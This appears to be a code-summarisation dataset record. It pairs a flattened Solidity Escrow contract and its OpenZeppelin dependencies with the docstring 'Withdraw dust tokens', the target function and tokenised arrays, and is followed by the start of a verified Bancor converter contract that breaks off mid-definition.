_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.0-rc.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
// OpenZeppelin Contracts v4.4.0-rc.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/utils/math/[email protected]
// OpenZeppelin Contracts v4.4.0-rc.0 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File contracts/interfaces/IERC20.sol
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File contracts/interfaces/IWETH.sol
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
function balanceOf(address) external returns (uint);
function transferFrom(address src, address dst, uint wad) external returns (bool);
function approve(address guy, uint wad) external returns (bool);
}
// File contracts/interfaces/IRouter.sol
interface IRouter {
function buy(address _token, address[] calldata _recipients, uint256[] calldata _amountIns, uint256[] calldata _maxOuts) external returns (uint256 amountSpent);
function sell(address _token, address[] calldata _sellers, uint256[] calldata _amountIns, bool _isPercent) external returns (uint256 amountReceived);
}
// File contracts/libraries/TransferHelper.sol
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// File contracts/Escrow.sol
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract Escrow is Ownable {
using SafeMath for uint256;
address public immutable WETH;
mapping(address => uint256) private _balances;
mapping(address => address) public spenderToOwner;
mapping(address => address) public ownerToSpender;
address public router;
event RouterChanged(address _router);
event SpenderUpdated(address _spender);
event Deposit(address _from, uint256 _amount);
event Withdraw(address _from, address _to, uint256 _amount);
event WithdrawDustToken(address _token, address _to, uint256 _amount);
event WithdrawDustETH(address _to, uint256 _amount);
constructor(address _WETH) {
WETH = _WETH;
}
function setSpender(address _spender) external {
address owner = msg.sender;
address previousSpender = ownerToSpender[owner];
require(previousSpender != _spender);
spenderToOwner[previousSpender] = address(0);
ownerToSpender[owner] = _spender;
spenderToOwner[_spender] = owner;
emit SpenderUpdated(_spender);
}
function setRouter(address _router) external onlyOwner {
router = _router;
emit RouterChanged(_router);
}
function buy(address _token, address[] calldata _recipients, uint256[] calldata _amountIns, uint256[] calldata _maxOuts) external{
require(_recipients.length == _amountIns.length && _maxOuts.length == _amountIns.length, "Invalid parameters");
address spender = msg.sender;
address owner = spenderToOwner[spender];
uint256 totalAmount;
for (uint256 i; i < _amountIns.length; ++i) {
totalAmount = totalAmount.add(_amountIns[i]);
}
require(_balances[owner] >= totalAmount, "Insufficient amount");
IWETH(WETH).approve(router, totalAmount);
uint256 amountSpent = IRouter(router).buy(_token, _recipients, _amountIns, _maxOuts);
_balances[owner] = _balances[owner].sub(amountSpent);
}
function sell(address _token, address[] calldata _sellers, uint256[] calldata _amountIns, bool _isPercent) external {
require(_sellers.length == _amountIns.length, "Invalid parameters");
address spender = msg.sender;
address owner = spenderToOwner[spender];
uint256 amountReceived = IRouter(router).sell(_token, _sellers, _amountIns, _isPercent);
_balances[owner] = _balances[owner].add(amountReceived);
}
function balanceOf(address _owner) external view returns (uint256) {
return _balances[_owner];
}
function deposit() external payable {
uint256 amount = msg.value;
address sender = msg.sender;
IWETH(WETH).deposit{value: amount}();
_balances[sender] = _balances[sender].add(amount);
emit Deposit(sender, amount);
}
function withdraw(address _to, uint256 _amount) external {
address sender = msg.sender;
require(_amount <= _balances[sender], "Insufficient withdraw amount");
IWETH(WETH).withdraw(_amount);
_balances[sender] = _balances[sender].sub(_amount);
TransferHelper.safeTransferETH(_to, _amount);
emit Withdraw(sender, _to, _amount);
}
function multiWithdrawETH(address[] calldata _recipients, uint256[] calldata _amounts, uint256 _totalAmount) external {
address sender = msg.sender;
require(_recipients.length == _amounts.length, "Invalid parameters");
IWETH(WETH).withdraw(_totalAmount);
uint256 totalAmount;
for (uint256 i; i < _recipients.length; ++i) {
(bool success, ) = _recipients[i].call{ value: _amounts[i]}("");
require(success, "Address: unable to send value, recipient may have reverted");
totalAmount = totalAmount.add(_amounts[i]);
}
require(totalAmount == _totalAmount, 'Invalid parameters');
require(totalAmount <= _balances[sender], 'Insufficient amount');
_balances[sender] = _balances[sender].sub(totalAmount);
}
function multiSendETH(address[] calldata _recipients, uint256[] calldata _amounts) external payable {
require(_recipients.length == _amounts.length, "Invalid parameters");
uint256 totalAmount;
for (uint256 i; i < _recipients.length; ++i) {
(bool success, ) = _recipients[i].call{ value: _amounts[i]}("");
require(success, "Address: unable to send value, recipient may have reverted");
totalAmount = totalAmount.add(_amounts[i]);
}
require(totalAmount <= msg.value, 'Insufficient amount');
}
// To receive ETH from uniswapV2Router when swapping
receive() external payable {}
// Withdraw dust tokens
function withdrawDustToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
require(_token != WETH, "Can't withdraw WETH");
uint256 _amount = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _amount);
emit WithdrawDustToken(_token, _to, _amount);
}
// Withdraw Dust ETH
function withdrawDustETH(address _to) external onlyOwner {
uint256 _amount = address(this).balance;
(bool success, ) = _to.call{ value: _amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
emit WithdrawDustETH(_to, _amount);
}
} | Withdraw dust tokens | function withdrawDustToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
require(_token != WETH, "Can't withdraw WETH");
uint256 _amount = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _amount);
emit WithdrawDustToken(_token, _to, _amount);
}
| 13,490,162 | [
1,
1190,
9446,
302,
641,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
598,
9446,
40,
641,
1345,
12,
2867,
389,
2316,
16,
1758,
389,
869,
13,
203,
565,
3903,
203,
565,
1338,
5541,
203,
565,
1135,
261,
6430,
389,
7569,
13,
203,
225,
288,
203,
1377,
2583,
24899,
2316,
480,
678,
1584,
44,
16,
315,
2568,
1404,
598,
9446,
678,
1584,
44,
8863,
203,
1377,
2254,
5034,
389,
8949,
273,
467,
654,
39,
3462,
24899,
2316,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
1377,
389,
7569,
273,
467,
654,
39,
3462,
24899,
2316,
2934,
13866,
24899,
869,
16,
389,
8949,
1769,
203,
1377,
3626,
3423,
9446,
40,
641,
1345,
24899,
2316,
16,
389,
869,
16,
389,
8949,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0x737ac585809c0f64ee09d7b8050d195d14f14c55
//Contract name: SmartToken
//Balance: 0 Ether
//Verification Date: 2/22/2018
//Transacion Count: 5
// CODE STARTS HERE
pragma solidity ^0.4.18;
/*
Bancor Converter Extensions interface
*/
contract IBancorConverterExtensions {
function formula() public view returns (IBancorFormula) {}
function gasPriceLimit() public view returns (IBancorGasPriceLimit) {}
function quickConverter() public view returns (IBancorQuickConverter) {}
}
contract IBancorFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) public view returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) public view returns (uint256);
}
contract IBancorGasPriceLimit {
function gasPrice() public view returns (uint256) {}
}
contract IBancorQuickConverter {
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256);
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256);
}
contract IERC20Token {
// these functions aren't abstract since the compiler emits automatically generated getter functions as external
function name() public view returns (string) {}
function symbol() public view returns (string) {}
function decimals() public view returns (uint8) {}
function totalSupply() public view returns (uint256) {}
function balanceOf(address _owner) public view returns (uint256) { _owner; }
function allowance(address _owner, address _spender) public view returns (uint256) { _owner; _spender; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract IOwned {
// this function isn't abstract since the compiler emits automatically generated getter functions as external
function owner() public view returns (address) {}
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
contract ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
}
contract IEtherToken is ITokenHolder, IERC20Token {
function deposit() public payable;
function withdraw(uint256 _amount) public;
function withdrawTo(address _to, uint256 _amount) public;
}
contract ISmartToken is IOwned, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
contract ITokenConverter {
function convertibleTokenCount() public view returns (uint16);
function convertibleToken(uint16 _tokenIndex) public view returns (address);
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256);
function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
// deprecated, backward compatibility
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
}
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
@dev constructor
*/
function Owned() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Utils {
/**
constructor
*/
function Utils() public {
}
// verifies that an amount is greater than zero
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
// verifies that the address is different than this contract address
modifier notThis(address _address) {
require(_address != address(this));
_;
}
// Overflow protected math functions
/**
@dev returns the sum of _x and _y, asserts if the calculation overflows
@param _x value 1
@param _y value 2
@return sum
*/
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
/**
@dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number
@param _x minuend
@param _y subtrahend
@return difference
*/
function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
/**
@dev returns the product of multiplying _x by _y, asserts if the calculation overflows
@param _x factor 1
@param _y factor 2
@return product
*/
function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract TokenHolder is ITokenHolder, Owned, Utils {
/**
@dev constructor
*/
function TokenHolder() public {
}
/**
@dev withdraws tokens held by the contract and sends them to an account
can only be called by the owner
@param _token ERC20 token contract address
@param _to account to receive the new amount
@param _amount amount to withdraw
*/
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
}
contract SmartTokenController is TokenHolder {
ISmartToken public token; // smart token
/**
@dev constructor
*/
function SmartTokenController(ISmartToken _token)
public
validAddress(_token)
{
token = _token;
}
// ensures that the controller is the token's owner
modifier active() {
assert(token.owner() == address(this));
_;
}
// ensures that the controller is not the token's owner
modifier inactive() {
assert(token.owner() != address(this));
_;
}
/**
@dev allows transferring the token ownership
the new owner still need to accept the transfer
can only be called by the contract owner
@param _newOwner new token owner
*/
function transferTokenOwnership(address _newOwner) public ownerOnly {
token.transferOwnership(_newOwner);
}
/**
@dev used by a new owner to accept a token ownership transfer
can only be called by the contract owner
*/
function acceptTokenOwnership() public ownerOnly {
token.acceptOwnership();
}
/**
@dev disables/enables token transfers
can only be called by the contract owner
@param _disable true to disable transfers, false to enable them
*/
function disableTokenTransfers(bool _disable) public ownerOnly {
token.disableTransfers(_disable);
}
/**
@dev withdraws tokens held by the controller and sends them to an account
can only be called by the owner
@param _token ERC20 token contract address
@param _to account to receive the new amount
@param _amount amount to withdraw
*/
function withdrawFromToken(
IERC20Token _token,
address _to,
uint256 _amount
)
public
ownerOnly
{
ITokenHolder(token).withdrawTokens(_token, _to, _amount);
}
}
contract Managed {
address public manager;
address public newManager;
event ManagerUpdate(address indexed _prevManager, address indexed _newManager);
/**
@dev constructor
*/
function Managed() public {
manager = msg.sender;
}
// allows execution by the manager only
modifier managerOnly {
assert(msg.sender == manager);
_;
}
/**
@dev allows transferring the contract management
the new manager still needs to accept the transfer
can only be called by the contract manager
@param _newManager new contract manager
*/
function transferManagement(address _newManager) public managerOnly {
require(_newManager != manager);
newManager = _newManager;
}
/**
@dev used by a new manager to accept a management transfer
*/
function acceptManagement() public {
require(msg.sender == newManager);
ManagerUpdate(manager, newManager);
manager = newManager;
newManager = address(0);
}
}
contract BancorConverter is ITokenConverter, SmartTokenController, Managed {
uint32 private constant MAX_WEIGHT = 1000000;
uint32 private constant MAX_CONVERSION_FEE = 1000000;
struct Connector {
uint256 virtualBalance; // connector virtual balance
uint32 weight; // connector weight, represented in ppm, 1-1000000
bool isVirtualBalanceEnabled; // true if virtual balance is enabled, false if not
bool isPurchaseEnabled; // is purchase of the smart token enabled with the connector, can be set by the owner
bool isSet; // used to tell if the mapping element is defined
}
string public version = '0.7';
string public converterType = 'bancor';
IBancorConverterExtensions public extensions; // bancor converter extensions contract
IERC20Token[] public connectorTokens; // ERC20 standard token addresses
IERC20Token[] public quickBuyPath; // conversion path that's used in order to buy the token with ETH
mapping (address => Connector) public connectors; // connector token addresses -> connector data
uint32 private totalConnectorWeight = 0; // used to efficiently prevent increasing the total connector weight above 100%
uint32 public maxConversionFee = 0; // maximum conversion fee for the lifetime of the contract, represented in ppm, 0...1000000 (0 = no fee, 100 = 0.01%, 1000000 = 100%)
uint32 public conversionFee = 0; // current conversion fee, represented in ppm, 0...maxConversionFee
bool public conversionsEnabled = true; // true if token conversions is enabled, false if not
// triggered when a conversion between two tokens occurs (TokenConverter event)
event Conversion(address indexed _fromToken, address indexed _toToken, address indexed _trader, uint256 _amount, uint256 _return,
int256 _conversionFee, uint256 _currentPriceN, uint256 _currentPriceD);
// triggered when the conversion fee is updated
event ConversionFeeUpdate(uint32 _prevFee, uint32 _newFee);
/**
@dev constructor
@param _token smart token governed by the converter
@param _extensions address of a bancor converter extensions contract
@param _maxConversionFee maximum conversion fee, represented in ppm
@param _connectorToken optional, initial connector, allows defining the first connector at deployment time
@param _connectorWeight optional, weight for the initial connector
*/
function BancorConverter(ISmartToken _token, IBancorConverterExtensions _extensions, uint32 _maxConversionFee, IERC20Token _connectorToken, uint32 _connectorWeight)
public
SmartTokenController(_token)
validAddress(_extensions)
validMaxConversionFee(_maxConversionFee)
{
extensions = _extensions;
maxConversionFee = _maxConversionFee;
if (_connectorToken != address(0))
addConnector(_connectorToken, _connectorWeight, false);
}
// validates a connector token address - verifies that the address belongs to one of the connector tokens
modifier validConnector(IERC20Token _address) {
require(connectors[_address].isSet);
_;
}
// validates a token address - verifies that the address belongs to one of the convertible tokens
modifier validToken(IERC20Token _address) {
require(_address == token || connectors[_address].isSet);
_;
}
// verifies that the gas price is lower than the universal limit
modifier validGasPrice() {
assert(tx.gasprice <= extensions.gasPriceLimit().gasPrice());
_;
}
// validates maximum conversion fee
modifier validMaxConversionFee(uint32 _conversionFee) {
require(_conversionFee >= 0 && _conversionFee <= MAX_CONVERSION_FEE);
_;
}
// validates conversion fee
modifier validConversionFee(uint32 _conversionFee) {
require(_conversionFee >= 0 && _conversionFee <= maxConversionFee);
_;
}
// validates connector weight range
modifier validConnectorWeight(uint32 _weight) {
require(_weight > 0 && _weight <= MAX_WEIGHT);
_;
}
// validates a conversion path - verifies that the number of elements is odd and that maximum number of 'hops' is 10
modifier validConversionPath(IERC20Token[] _path) {
